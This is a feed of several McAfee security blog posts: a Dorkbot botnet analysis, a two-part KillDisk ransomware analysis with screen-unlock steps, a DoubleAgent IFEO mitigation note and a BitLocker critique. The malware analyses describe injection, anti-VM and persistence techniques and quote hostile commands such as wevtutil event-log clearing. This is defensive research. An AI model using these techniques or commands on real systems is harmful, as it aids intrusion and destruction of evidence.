  • Vendors, law enforcement agencies, and other organizations will share more threat intelligence: Organizations of all sizes are increasingly sharing threat intelligence information to help detect ransomware before it reaches systems.
  • Security vendors will increasingly work with law enforcement: Collaborating with law enforcement agencies will lead to the disruption of ransomware criminal enterprises.
  • Ransomware will become less profitable: These efforts, coupled with free methods to decrypt locked systems without paying the ransom, will make it harder for criminals to make a buck. The most visible source for free decryption tools is the No More Ransom initiative, which now offers several dozen decryption tools.

The Verizon DBIR can be downloaded here. Information about ransomware can be found here.

The post ‘Aha’ Moments From the ‘Verizon 2017 Data Breach Investigations Report’ appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/data-security/aha-moments-verizon-2017-data-breach-investigations-report/feed/ 0
Update: Technical McAfee Detail On DoubleAgent https://securingtomorrow.mcafee.com/business/update-technical-mcafee-detail-doubleagent/ https://securingtomorrow.mcafee.com/business/update-technical-mcafee-detail-doubleagent/#respond Wed, 29 Mar 2017 21:15:20 +0000 https://securingtomorrow.mcafee.com/?p=70856 Cedric Cochin teamed with Brook Schoenfield on this article Updated March 29, 2017 McAfee has been investigating the impact of the so-called “DoubleAgent zero-day” technique of Windows debugging capabilities announced on 22 March 2017. This injection technique uses a Microsoft Windows debugging feature that requires administrative privileges.  On the fly debugging is designed to be used […]

The post Update: Technical McAfee Detail On DoubleAgent appeared first on McAfee Blogs.

]]>
Cedric Cochin teamed with Brook Schoenfield on this article

Updated March 29, 2017

McAfee has been investigating the impact of the so-called “DoubleAgent zero-day” technique of Windows debugging capabilities announced on 22 March 2017.

This injection technique uses a Microsoft Windows debugging feature that requires administrative privileges.  On the fly debugging is designed to be used with all Microsoft Windows executables. It is not specific to Anti-virus products in general, nor McAfee products in particular.

Techniques using IFEO (Image File Execution Options) have been known for a number of years, as part of a continuing process to research and evaluate security related techniques against software and hardware that we all depend upon.  For example, similar techniques manipulating the Windows process debugging registry key have been publicly discussed for a number of years.

This blog is not about the validity of any form of IFEO attack. Nor are we discussing the advantages of this attack over the myriads of approaches that would allow for the attacker to misuse a Windows device. Once an attacker gains administrative privileges on a Windows machine through whatever means, which attacks the attacker may choose lies outside of this analysis.

Rather, this analysis attempts to establish the resilience of McAfee endpoint solutions to this type of injection attack, to enumerate the mechanisms that are available to McAfee’s customers to mitigate or negate such attacks, and the ability of our solutions to expose such attack attempts.

McAfee software fundamentally must rely on the underlying operating system. Where techniques are identified that could impact the integrity of software through operating system mechanisms such as IFEO, McAfee software must implement detective and protective mechanisms.   In this particular technique for example, we have implemented measures into our most up-to-date consumer and enterprise products that would prevent execution of injected McAfee binaries from malicious parties.

When it comes to our endpoint protection solutions and their ability to protect their own processes, there are multiple layers of protection at play.

For the most recent Endpoint Security Solution (ENS), McAfee offers three mechanisms:

  1. Self-protection rules to prevent the creation of IFEO registry keys
  2. Self-protection rules to prevent process injection from untrusted processes
  3. Module sanitization to validate that a module (DLL) is validly signed by a trusted authority before loading the DLL (irrespective of the load mechanism, including injection)

You can find details about process injection self-protection (#2) and module sanitization (#3) in the following KB https://kc.mcafee.com/corporate/index?page=content&id=KB88085

Module sanitization (#3) is enforced by default in our ENS (Endpoint Security Solution).

Self-protection rules for registry (#1) come in different flavors depending on the McAfee product installed. The default rules shipped with the product protect core McAfee services from allowing IFEO keys to be created. Since the current shipping rules focus on core services, we pushed an update to add exhaustive coverage of all product binaries for each product that uses McAfee’s Anti-Malware Core (AMCore) technologies, which includes ENS 10.2. We suggest that customer ensure that they have upgraded to DAT 2932.0.

For products using VirusScan Core (VSCore), rules can be manually added.

The manual rules for Virus Scan Enterprise (VSE) can be found in the following KB https://kc.mcafee.com/corporate/index?page=content&id=KB89030

The manual rules for Host Intrusion Prevention (HIPS) can be found in the following KB https://kc.mcafee.com/corporate/index?page=content&id=KB89032

In addition to covering an exhaustive list of McAfee binaries, the update for the self-protection registry rules (#1), will also include coverage against a technique variant in which a malicious IFEO key has been constructed elsewhere and then renamed (IFEO rename vector).

Depending of the IFEO (Image File Execution Options) injection target, the mechanism blocking the attack may differ. If the target is protected by self-protection registry rules the attack will be mitigated. If the target is not protected by self-protection registry rules, then the injection will occur but then McAfee’s module sanitization, where enforced, will block the attempted load and revoke trust for the injected process.

In the worst-case scenario for ENS, if the registry entry is created and the injection occurs, the process will fail to launch because the load of the malicious DLL will be denied. The McAfee ENS processes will not allow the malicious module to execute.

McAfee products also offer generic protection that would prevent such attack on other non-McAfee processes.In the context of ENS, customers can enforce the “Hijacking .EXE or other executable extensions” rule, which would prevent the creation of any [program].exe key under IFEO. Dynamic Application Containment (DAC) would also restrict contained processes from creating IEFO keys.

It is important for customers to note that before the IFEO keys may be manipulated, an attacker must first gain entrance to a Windows system. If the user account has not been given administrative privileges, then an additional step must be taken by the attacker to achieve these privileges. There are numerous techniques for achieving each of these steps.

Both VSE and ENS have been designed to identify and prevent techniques used by attackers to gain a presence under Windows and to stop attacker elevation of privileges to System Administrator. Customers are always advised to keep their McAfee DAT file updated to the latest version, to use the latest versions of McAfee products, and to patch Windows swiftly whenever Microsoft issues a security update. The vast majority of the entrances to intrusion (Windows and otherwise) has typically been through issues where an available fix has not been applied (patched).

We will continue research into those techniques that target hardware and software that we rely upon.  This is crucial into providing customers the confidence to rely upon systems that their businesses, and homes have grown to depend upon.

References:

https://kc.mcafee.com/corporate/index?page=content&id=KB88085

https://kc.mcafee.com/corporate/index?page=content&id=KB89030

https://kc.mcafee.com/corporate/index?page=content&id=KB89032

 

The post Update: Technical McAfee Detail On DoubleAgent appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/update-technical-mcafee-detail-doubleagent/feed/ 0
Analyzing a Fresh Variant of the Dorkbot Botnet https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-fresh-variant-dorkbot-botnet/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-fresh-variant-dorkbot-botnet/#respond Thu, 09 Mar 2017 22:15:40 +0000 https://securingtomorrow.mcafee.com/?p=70304 This blog post was written by Sudhanshu Dubey. At McAfee Labs, we have recently observed a new variant of the Dorkbot botnet. Dorkbot is a well-known bot, famous for its various capabilities including backdoor, password stealing, and other malicious behavior. Dorkbot relies on social networking as its infection vector. In this post, we offer our […]

The post Analyzing a Fresh Variant of the Dorkbot Botnet appeared first on McAfee Blogs.

]]>
This blog post was written by Sudhanshu Dubey.

At McAfee Labs, we have recently observed a new variant of the Dorkbot botnet. Dorkbot is a well-known bot, famous for its various capabilities including backdoor, password stealing, and other malicious behavior. Dorkbot relies on social networking as its infection vector. In this post, we offer our analysis of this new variant.

The malware downloads the file from api[.]wipmania[.]net, a site that provides geolocalization services. The following screen shows the network traffic of the downloader file.

Downloader network communications.

The downloaded file is a wrapper compiled using Microsoft Visual C/C++ (2008 version). During our analysis we studied the wrapper file and extracted the inner file from the malware.

 

Analyzing the core

The inner file is also complied with a Microsoft Visual C++. The core is 48KB and has strings related to virtual machine names, registry entries, encrypted URLs, etc. as shown in the following:

Strings and encrypted URLs in the core file.

Anti-VM

Before performing any malicious activity, the malware executes code that checks for a virtual environment. It uses the SetupDiGetDeviceRegistryPropertyA() API, which helps in retrieving specified Universal Plug and Play device properties. A code snippet:

Searching for virtual machines using SetupDiGetDeviceRegistryPropertyA ().

As we see in the preceding snapshot, the malware passes the third argument as 0xC (SPDRP_FRIENDLYNAME), which retrieves the friendly name of the device. It then checks the device name with the strings related to virtual machines, for example, vbox, qemu, vmware, and virtual hd. If the malware finds any of these strings, indicating the presence of a virtual environment, it will terminate itself.

After passing the VM check, the malware checks the current working directory. It compares the file path with the desired path from %appdata% with the folder name in GUID format, for example, %appdata%/{GUID}. The following assembly code shows the malware code that checks the file path.

File execution path check.

If the file is executed from a different path, the malware considers the event as its first execution. In the first execution, the malware sets up its environment: file drop, registry entries, etc. The malware creates a directory in %appdata% and copies itself. It uses a custom function and the StringFromGUID2() API to get the folder name in GUID format. The dropped file and path is shown in the following:

The malware copies itself to %appdata%.

Dorkbot also creates a Run registry entry and task to persist on the system, setting the execution file path with the dropped file mentioned above. The registry entry created by the malware:

Dorkbot’s registry entry.

The malware also creates a task that triggers when the user logs on, executing the malware file.

After successful installation of registry and schedule tasks, the malware uses process hollowing to execute its code as svchost.exe and bypass application-level whitelists.

The malware creates svchost.exe.

After injecting itself into svchost.exe, Dorkbot calls ZwQueueApcThread(),an undocumented API used to queue an asynchronous procedure call (APC) routine (the malware’s remote code) on a current remote thread. (APCs are functions that execute asynchronously in the context of a particular thread.) ZwQueueApcThread allows the caller to specify three arguments that will be passed to the thread, including the thread routine. The malware sends a routine address different from the address of the entry point of the file, resulting in communication with the control server.

The injected code first executes the relocation code, making the injected code compatible with the new base address. After relocating the code, the malware ensures it is kept active in the system—even after being killed manually—by injecting a watchdog code in already running processes. One strange thing we observed is that before injecting the watchdog code, the malware checks for the process names TeamViewer and tv_w32.exe. If the malware finds either of them, it does not inject its code into that process.

Process enumeration and watchdog code injection.

Dorkbot enumerates the running processes and tries to open them with 0x10047A flag/permissions related to remote memory creation, reading and writing to memory. Definitions of the flags:

0x100000    => Synchronize
0x400     => QueryInformation
0x70     => VirtualMemoryRead + VirtualMemoryWrite + DuplicateHandle
0xA     => VirtualMemoryOperation + CreateThread

The watchdog code has some API calls that Dorkbot needs to update to make its code compatible with the remote process. Dorkbot updates the placeholders in the code that are related to API addresses and the malware’s process ID. Along with the watchdog code, the malware also inject its file path, referenced by the code, to restart the process. The following screen shows the watchdog code before and after modification:

Injected watchdog code: before and after modification.

The injected code uses the WaitForSingleObject() API to wait infinitely for malware process. It provides the malware’s process ID as the first argument and infinite time as the second argument. If the malware process is killed, Dorkbot signals to WaitForSingleObject () and the injected code proceeds. After getting the signal, the injected code executes CreateProcessW () API and again creates the malware process.

As we mentioned, the malware also injects the malware’s file path to the remote process to restart its execution if it is killed manually. But as we see in the preceding screen, we cannot find any address referencing the malware file path. This is because the malware passes the file path’s address as an argument to the CreateRemoteThread() API and in the code is referenced with the help of the EBP register ([EBP + 8]).

CreateRemoteThread arguments.

Network communications

For communications, the malware contains a list of encrypted URLs. The malware decrypts this list and generates a list of URLs in the format %s%u.%s, which is also present in the malware itself. Here the first “%s” signifies the string “con,” “%u” signifies integers 1 and 2, and the subsequent “%s” signifies the decrypted URL. Thus the malware adds the prefixes con1. and con2. to each of the decrypted URLs.

Decrypted URL: abcxyz.com
Generated URLs: con1. abcxyz.com, con2. abcxyz.com

Data sent by the malware to its control server.

The first 4 bytes of the data is the fixed dword value hardcoded in the malware. These 4 bytes are also used while checking the received data from the server. The fifth byte of the data represents operating system major and minor versions. The sixth byte defines whether the OS is 32- or 64-bit. The value for this byte is either 0x20 or 0x40, the hex representations of 32 and 64, respectively.

The next part is the hex data, defined as a character, for example, 0x41 stands for for “A” and is represented as 4 and 1. This part of the data is the union of the computer name and the calculated hash data separated by #. The malware uses the format specifier “%s#%s,” in which the first part is the computer name and the latter the hash value. Following this data is the word value (0x444E in this case), which is taken from the particular offset in the file. The last part of the data is derived from the current time and the output of the GetTickCount () API.

After sending the data to the server, the malware is ready to receive data. Because the URLs are not currently active, we did not receive any data from the server during our analysis. However, from the assembly code, we can see that the malware expects the data from the server in a particular format. The following assembly code snippet shows the checks performed by the malware on the received data.

Received data checks.

The WS2_32.recv () API receives data from a connected socket and returns the number of bytes received. The malware checks the return value of the API, which is the length of bytes received from server with the value 205; that is, the malware expects the data from control server to be 205 bytes in length. After checking the number of bytes, it evaluates the first 6 bytes of the data. It compares the first 4 bytes with the fixed dword value (18273645 in this case), which it used while sending the data. (See the screen of data sent to the control server.) The malware expects the fifth and sixth bytes to be 1 and 0, respectively.

The inactive URLs prevented us from going further with our analysis. We shall post new information when available.

McAfee products detect this variant of the malware.

The post Analyzing a Fresh Variant of the Dorkbot Botnet appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-fresh-variant-dorkbot-botnet/feed/ 0
Analyzing KillDisk Ransomware, Part 2: Variants and Screen Unlocking https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-killdisk-ransomware-part-2-variants-screen-unlocking/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-killdisk-ransomware-part-2-variants-screen-unlocking/#respond Tue, 14 Feb 2017 07:50:13 +0000 https://securingtomorrow.mcafee.com/?p=68533 This blog post was written by Sudhanshu Dubey. At McAfee Labs we recently analyzed the ransomware KillDisk. In part 1 of this analysis, we discussed the basics of the malware and its whitelisting to protect itself. In this part, we will provide more information about the malware’s internals, this variant, and steps to unlock the ransomware lock screen. […]

The post Analyzing KillDisk Ransomware, Part 2: Variants and Screen Unlocking appeared first on McAfee Blogs.

]]>
This blog post was written by Sudhanshu Dubey.

At McAfee Labs we recently analyzed the ransomware KillDisk. In part 1 of this analysis, we discussed the basics of the malware and its whitelisting to protect itself. In this part, we will provide more information about the malware’s internals, this variant, and steps to unlock the ransomware lock screen.

Variant 1. This variant seems to be inspired by the TV series “Mr. Robot.” The lock screen uses the string “We are fSociety”:

KillDisk Ransom-note

The KillDisk ransom note.

While analyzing the encryption process of this variant, we observed some strange behavior. In contrast to Variant 2, this one behaved more like a destroyer, overwriting all the files with specific bytes. This step makes the data irrecoverable. Hence this variant’s block screen has no payment information. Instead, it appeals to victims to join them.

Variant 2. This variant works like normal ransomware, encrypting data files. It keeps the encrypted data in each locked file along with some more bytes including an infection marker. For more information about this variant, refer to Part 1 of this post.

Analysis

Although the encryption of both the variants is different, they show the same arguments and behavior based on those arguments. We found three arguments, which we shall discuss.

  • -set
  • -est
  • -opt

KillDisk uses these arguments in key-value pairs and checks the values for the given key.

-est. The value of this argument is in minutes. This argument is used to store the “current time + minutes” in the registry.

-set. This argument is used to create service and registry entries. It receives the value in Date#Time format (for example, “-set=20.12.2016#05:00”) to fill the registry entry it creates. Before proceeding, it tries to get the handle of the event using OpenEvent() API, to check whether the malware is already executed. The event name has the following format:

                Global\{CLSID}

If the malware finds the event, it first cleans up the registry and deletes the service. It then recreates the service and the registry with updated values.

The malware uses the WinExec() API to execute the sc command, which creates a service whose binary path is set to itself, along with argument -opt=svc. (We will explain later.)

Calling WinExec() to create service

Calling WinExec() to create a service.

Both variants have different service names. The following screenshots show the services created by the variants.

Service installed by Malware (both variant)

Services installed by KillDisk (both variants).

Comparing the registry keys created by the variants, we infer that they have different names and paths. But the data in the registry values are the same and have been filled using the same method. KillDisk uses –set and –est argument values passed to the executable. It creates three registry values that store time, in TimeStamp format, that is, seconds since 1/1/1970. Here is more information about registry values:

First registry value             :            Current time

Second registry value        :            Time given with -set argument

Third registry value           :            Current time + minutes given in -est argument

The following screenshot shows the registry entries created by the malware when executing with the arguments -set=20.12.2016#05:00 -est=1440:

Registry Entries

Registry entries.

Both the variants use different registry path, key and value names.

-opt. This argument has five values:

  • frc
  • chk
  • cnc
  • svc
  • pic

The malware’s behavior depends on the values of this argument, which the malware keeps in encrypted form. Before comparing the argument values, KillDisk first decrypts them. The following code snippet shows the decryption and comparison of argument values:

Decrypting and Comparing ‘-opt’ argument values

Decrypting and comparing -opt argument values.

Let’s see how the malware behaves with different argument values.

-opt=pic. This value leads to the creation of the ransom note and locking the screen. The malware imports functions from GDI32.dll and User32.dll to design the image. It opens a window using the CreateWindow() API and then creates the image over it. The following code snippet from Variant 2 draws the ransom message on the screen:

Ransom-note creation code (variant 2)

Ransom note creation code in Variant 2. RGB (255, 83, 0) is a shade of orange.

After creating the ransom note, KillDisk starts a thread that keeps the window always on top by using the SetWindowPos() and SetForegroundWindow() APIs with specific arguments. The following code keeps the ransom note on top:

Code to keep Ransom-note on Top

The HWND_TOPMOST flag places the window above all non-topmost windows, even after the window is deactivated.

-opt=frc. This value triggers the encryption process. Variant 1, the destroyer malware, overrides the files with 0x100 bytes that contain either the string “mrR0b07” or “fS0cie7y,” both inspired by the TV series “Mr. Robot.” The following screenshot shows the infected files:

Infected Files from variant 2

Files infected files by Variant 2.

Before overwriting the files, the malware ensures that it has full access to the file. To get the access rights, it uses the Windows tool icacls.exe to modify the Access Control Lists for files and folders:

Modifying Access Control List for all files from ‘C’ drive

Modifying the Access Control List for all files from C drive.

  • /T  =>  Traverse all subfolders
  • /C  =>  Continue on file errors
  • /Q =>  Quiet, suppress success messages
  • /grant user: permission =>  Grant access rights to the user, F: Full access

This variant also creates 50MB garbage files (filled with null) on the Windows drive, to fill up the disk space. To keep the garbage files, it creates a folder at the root of the Windows drive with a CLSID name. To hide them from victims, the malware keeps the folder attribute to system hidden.

-opt=cnc. This value is used to clean the malware from the system. It uses the ControlService() API to send a stop signal to the service and the QueryServiceConfigA() API to get the file path from the service properties. The malware then deletes the registry entries and service from the system and also deletes the file.

-opt=chk. This value is likely to be used during debugging. It checks for the service and registry entries, and then prints accordingly.

-opt=svc. This value is given to the application while installing the service. It leads to the execution of the service handler function, registered through the RegisterServiceCtrlHandler() API. While debugging the code, we can see the code that executes commands to ping the local host and then delete itself with the help of the WinExec() API:

WinExec() execute commands to ping and delete itself

WinExec() executes commands to ping and delete itself.

On restarting, this malware deletes itself but it does not remove the service and remains installed.

Unlocking the screen

We successfully bypassed the ransom note block screen with the help of “Windows key + tab” feature, which is available in Windows 7 and later versions.

To use this technique, you’ll need Window 7 or later infected with KillDisk, a keyboard connected to the system, and good eyes. (You have to look carefully.) See our demo video.

Here are the steps to unlock the blocking screen of KillDisk:

Step 1: Press Windows Key + Tab. You will be prompted with the open applications window.

Step 2: Press “Windows Key + D” or switch to the desktop using Step 1.

Step 3: Open “run” using “Windows key + R” and check whether you have the run window using Step 1.

Step 4: Type “cmd” and hit enter. You will get the command prompt; confirm using Step 1.

Step 5: Type “tasklist” and Hit enter.

Step 6: Using “Windows Key + Tab,” check the process name on the list. (Good eyes needed.)

Because the malware killed all the other processes, it is likely all the processes will appear in a single command window. If not, change the command prompt size using the following command:

               mode con: cols=Value lines=Value                   // Update “Value” to fit your display

Step 7: After getting the process list, identify the malware process from the output of tasklist. If you know the malware process name, good. Otherwise you have to check the running processes from the whitelist previously mentioned and select the process that is not on the list. (That will likely be the malware process.)

Step 8: Get the PID of the malware process from the second column of the tasklist output.

Step 9: After getting the malware PID, kill the process using the following command:

               Taskkill /PID Malware_PID /F

After following these steps successfully, you will get your system back but the files will still be encrypted. This technique might work on other ransomware.

Conclusion

KillDisk is new to the world of ransomware. It has implemented a whitelisting technique to protect itself. We have discussed its internal working and a way to unlock the screen locked by ransomware.

McAfee products detect all known variants of this malware.

The post Analyzing KillDisk Ransomware, Part 2: Variants and Screen Unlocking appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-killdisk-ransomware-part-2-variants-screen-unlocking/feed/ 0
With Release of Windows 10, Questions About BitLocker Arise Again https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/release-windows-10-questions-bitlocker-arise/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/release-windows-10-questions-bitlocker-arise/#comments Thu, 26 Jan 2017 23:31:22 +0000 https://securingtomorrow.mcafee.com/?p=68470 This post was written by Ted Pan. For those of you who were around during the original release of Microsoft’s BitLocker, previously known as Secure Startup, you will remember that it was meant to completely eliminate the necessity for third-party security software. Yes, BitLocker was going to secure our machines against all forms of attack […]

The post With Release of Windows 10, Questions About BitLocker Arise Again appeared first on McAfee Blogs.

]]>
This post was written by Ted Pan.

For those of you who were around during the original release of Microsoft’s BitLocker, previously known as Secure Startup, you will remember that it was meant to completely eliminate the necessity for third-party security software. Yes, BitLocker was going to secure our machines against all forms of attack and make sure we never again lost data.

What happened?

BitLocker is actually pretty good. It is nicely integrated into Windows, it does its job well, and it is really simple to operate. As it was designed to “protect the integrity of the operating system,” most who use it implemented it in TPM mode, which requires no user involvement to boot the machine.

And that’s where problems started.

Hands up: How many people have a TPM chip on their laptop? Everyone, we bet. It’s a ubiquitous piece of hardware nowadays. OK, another show of hands for those who have enabled, and taken ownership of the chip? “Taken ownership?” You remember going through the personalization phase of the chip, enabling it in the BIOS, etc.? Remember, all TPMs are shipped disabled and deactivated.

You didn’t do that before you deployed your laptops? In that case, BitLocker will be a bit of a struggle for you.

Fact 1. To use BitLocker without adding additional authentication, you need an enabled, owned TPM1.2+ hardware chip.

For those of you who did go through this, we congratulate you on your foresight. The only problem is:

Fact 2. BitLocker with TPM-only protection is vulnerable to cold boot, Firewire, and BIOS keyboard buffer attacks.

There are some pretty simple attacks on TPM-only machines. Search for “BitLocker Firewire,” “BitLocker cold boot,” or “BitLocker forensic tool” and you’ll find lots of research, and even a few tools that will unlock your nice “protected” machine and recover the data. There was even a trivial method that allowed an attacker to gain access to a BitLocker protected system as late as November 2015 (8 years after BitLocker’s initial release); this has only recently been patched.

To make a machine secure, and by that we mean give you protection against having to disclose lots of personal information to all your customers if the machine goes missing, you need to use some form of pre-Windows authentication (with or without TPM; it makes no difference). Even Microsoft recommends this mode of operation.

For BitLocker, turning on authentication gives you a couple of choices. You can set a pin for the machine, and, if you want, you can also use a USB storage device (a memory stick, not a smart card) as a token. We wrote “pin”; we certainly did not write “your Windows user ID and password.” In fact, we didn’t mention users at all. BitLocker officially supports one login, so if more than one person uses a machine, you’re going to have to share that with everyone.

Some more facts:

Fact 3. BitLocker is secure only if you use a pin or USB stick for authentication.

Fact 4. There is no link between your Windows credentials and BitLocker credentials. 

Fact 5. BitLocker does not support the concept of more than one user.

Even Microsoft’s official advice tells you to use a 6+char pin, plus TPM for authentication—no using it in TPM-only mode.

So now your lucky BitLocker users have PCs protected, maybe with a TPM, but certainly with some form of authentication that is shared between the owner of the machine and with you (as administrator), and probably the system guys. You probably have an Excel spreadsheet with everyone’s pin.

We hope so, because when those users start forgetting their pins, who’s at the end of the phone? The good news is the pin never changes. There’s no forced change or lifetime. That doesn’t fit with your password policy? Did we mention that the PIN can be made only from the function keys, not the normal letter keys, unless you configure a special enhanced PIN mode that does not work on non-USA keyboards? Did we mention there are no complexity or content rules apart from length? 

Fact 6. BitLocker PINs are usually Fn-key based. BitLocker does not support non-US keyboards.

For all of you who have implemented public key infrastructure smart cards, bought laptops with fingerprint sensors, or who have tokens such as ActivIdentity, common access cards, personal identity verification, etoken keys, Datakey cards, SafeNet cards, etc. You’d like to be able to use them for authentication to your PCs, wouldn’t you?

Fact 7. BitLocker supports only USB storage devices and PINs—no integration with any other token.

Fact 8. Active Directory and additional servers are required to administrate BitLocker in a corporate environment.

There are Active Directory–based methods. The Group Policy Object settings will let you store the (fixed) recovery key in your AD. I’m not sure how you feel about that data getting propagated to every controller in your forest, but I’m sure you know and trust every AD administrator in your organization who (now) has access to those keys. If someone were to dump those keys and then quit, what would you do? It’s not as if the key ever expires. We guess you could write a program and then run it on every machine to recreate the keys, or write down the recovery key and give it to the user to hold onto.

Let’s review why we are going through this effort. The flippant answer is “because we were told to secure our machines,” but what does that mean? Most likely your company falls under one of the 250+ global laws defining and mandating the protection of people’s personal data, social security numbers, health information, credit card numbers, etc. Regulations such as PCI, HIPAA, HITECH, SOX, etc. You want to use BitLocker to encrypt your machines because when they get lost or stolen, you won’t have to pay fines, or tell everyone you lost their data. You lost the machine, sure, but because the data was encrypted, no one can get access to it.

To use this “get out of jail” card you need to be able to prove a couple of things:

  • That the data was indeed protected at the time of loss.
  • That the protection method was appropriate given the type of data.

So, applying those tests, a rule appears: 

Fact 9. You need extra software to prove BitLocker was enabled and protecting the drive at the time of the theft to claim protection from personally identifiable information laws.

We know how to set GPOs etc. to mandate the use of BitLocker, but we also know how easy it is for a user to turn it off. Setting up an MBAM server with all its associated requirements (such as an additional SQL server) would increase your complexity as well as causing you to write scripts to perform automated deployments. We don’t know of anything in Active Directory that gives me a definitive answer as to the state of protection of a given machine. There’s even a command-line tool that can be run to completely (un)configure it. We need something that reports on the state of protection of a lost machine. Saying “Well, the policy says it should be encrypted” is not enough. Perhaps a reader can help out?

Let’s finally take a look at implementing this solution. You do have a 100% Windows enterprise environment, don’t you? What if you still have some XP, Vista, Business, or Macs? Are you going to leave those machines unprotected, or are you planning to run a mix of third-party software and BitLocker? 

Fact 10. BitLocker encryption and administration supports only Windows—with no support for other operating systems, such as Mac or Linux.

You may think that we are not great fans of BitLocker—yet that’s far from the truth. We would use it, and would recommend it to friends. We see it as really good for technical, trustworthy users. But that’s not the market it’s being promoted for. Nothing fills us with dread more than an enterprise product that requires yet another password, requires specific hardware that is not enabled by default, presents a black screen with white text to users (so archaic), does not conform to our recognized password/PIN lifetime policies, does not work on non-USA machines, and does not have audit-friendly output for the main purpose it serves, namely, to tell us whether this stolen machine is a liability.

One of us actually likes it for the following reasons:

  • Only one of the three machines he uses has a USA keyboard, so he can use Fn-mode PINs.
  • It never forces him to change his PIN.
  • He can turn it on and off whenever he likes without corporate IT people knowing.
  • He gets to use the TPM chip, even though it took him a whole day to work out how to enable it.
  • He can write fancy scripts to turn it on and off. (He’s a closet programmer.)
  • He gets a nice DOS-like screen when he turns on his machine, just like 20 years ago.
  • BitLocker is mostly controlled through a command-line script (Manage-bde).
  • His local IT team can’t come and use his machine, or see what’s stored on it without his knowing.
  • He just likes things to be done the hard way.

The post With Release of Windows 10, Questions About BitLocker Arise Again appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/release-windows-10-questions-bitlocker-arise/feed/ 2
Analyzing KillDisk Ransomware, Part 1: Whitelisting https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-killdisk-ransomware-part-1-whitelisting/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-killdisk-ransomware-part-1-whitelisting/#comments Fri, 20 Jan 2017 01:07:57 +0000 https://securingtomorrow.mcafee.com/?p=67910 This blog post was written by Sudhanshu Dubey. At McAfee Labs we recently analyzed the ransomware KillDisk. We will share our analysis in two parts: the first, this article, contains general information about the malware and its whitelisting technique; the second part will appear soon with an analysis of its variants and techniques, including how […]

The post Analyzing KillDisk Ransomware, Part 1: Whitelisting appeared first on McAfee Blogs.

]]>
This blog post was written by Sudhanshu Dubey.

At McAfee Labs we recently analyzed the ransomware KillDisk. We will share our analysis in two parts: the first, this article, contains general information about the malware and its whitelisting technique; the second part will appear soon with an analysis of its variants and techniques, including how to unlock the locked screen in an infected system (with a demo video).

KillDisk demands a pretty high ransom: 222 Bitcoins (around US$170,000).

KillDisk Ransom-note (Infected Machine)

The KillDisk ransom note. 

KillDisk is data-wiping malware, and is generally used by other malware to hide their artifacts from an infected system. BlackEnergy is one brand of malware that uses KillDisk.

Recently, the author of KillDisk enhanced the malware by adding the ransomware capability. This ransomware targets both Windows and Linux systems. It encrypts files, blocks the screen, and demands an unusually high ransom. We analyzed the Windows variant and found some interesting things.

Analysis

During our analysis of KillDisk, we saw little file system activity. To remove its(or its component’s) execution traces from the infected system, KillDisk uses the Windows event utility (wevtutil). One statement from Microsoft about wevtutil:

“Wevtutil enables you to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, to run queries, and to export, archive, and clear logs.”

KillDisk executes these commands before starting its encryption process:

  • wevtutil clear-log application
  • wevtutil clear-log security
  • wevtutil clear-log setup
  • wevtutil clear-log system

This malware has a complex routine that decrypts the DLL names, API names, file extensions, process names, and other strings including the preceding commands. This screenshot illustrates:

Decryption Routine

Decryption routine.

KillDisk targets the following files:

.pdb .vbm .vbk .dat .crt .key .kdbx .bak .back .dr .bkf .cfg .fdb .mdb .accdb .gdb .wdb .csv .sdf .myd .dbf .sql .edb .mdf .ib .db3 .db4 .accdc .mdbx .sl3 .sqlite3 .nsn .dbc .dbx .sdb .ibz .sqlite .ova .vmdk .vhd .vmem .vdi .vhdx .vmx .ovf .vmc .vmfx .vmxf .hdd .vbox .vcb .vmsd .vfd .pvi .hdd .bin .avhd .vsv  .iso .nrg .disk .hdd .pmf .vmdk .xvd .dev .pem .jrs .cer .pvk .pfx .pd .pio .csr .crl .p7c .piz .p7b .spc .p7r .io .pyc .dwg .max .dxf .3ds .ai .conf .my .ost .pst .mkv .mp3 .wav .oda .sh .py .ps .ps1 .php .aspx .asp .rb .js .git .mdf .pdf .djvu .doc .docx .xls .xlsx .jar .ppt .pptx .rtf .vsd .vsdx .jpeg .jpg .png . tiff .msi .zip .rar  .7z .tar .gz .eml .mail .ml

After encryption, the files have the same extensions but the data is encrypted, with the addition of 0x98 bytes at the end of each file. The first 0x80 bytes are related to the key and the next 0x18 bytes are the ransomware message, shown below

           DoN0t0uch7h!$CrYpteDfilE

KillDisk also uses these 0x18 bytes as an infection marker, to avoid multiple encryptions of already locked files. The following screenshot shows the appended data in an encrypted file:

Appended Data/Signature in Encrypted file

The appended data/signature in an encrypted file.

Whitelisting to avoid analysis

We have observed some malware use blacklisting methods to kill analysis tools: If they find antimalware or related applications, they will terminate that process. But this malware uses the opposite technique of whitelisting: It maintains a list of benign processes, checks the system for them, and stores their process IDs (PIDs) along with its PID. After generating the PID list, the malware again enumerates the running processes and terminates those that are not on its generated PID list.

The following chart illustrates both blacklist and whitelist techniques:

Blacklist Flowchart             WhiteList Guard Flowchart

                  Blacklist flowchart.                                                             Whitelist flowchart.

The whitelist technique works pretty well under automation environments such as the Cuckoo sandbox, etc.

Debugger evasion via whitelist

The malware retrieves its PID using the GetCurrentProcessId function so that while debugging the process in any debugger—OLLY, IDA, etc.—the function will return the malware’s PID and not the debugger’s. Thus, the PID whitelist created by the malware will not contain the debugger’s PID. When the malware executes its termination routine using TerminateProcess API, the debugger’s process will be killed.

The following screenshot shows disassembly of the code that terminates calc.exe because the process name is not on malware’s whitelist.

Terminating calc.exe

Terminating calc.exe.

However, we see not only the termination of the debugger process, but also of the child-sample process. We did not expect this behavior because the malware is using the TerminateProcess() API, which kills only the specified process not child processes.

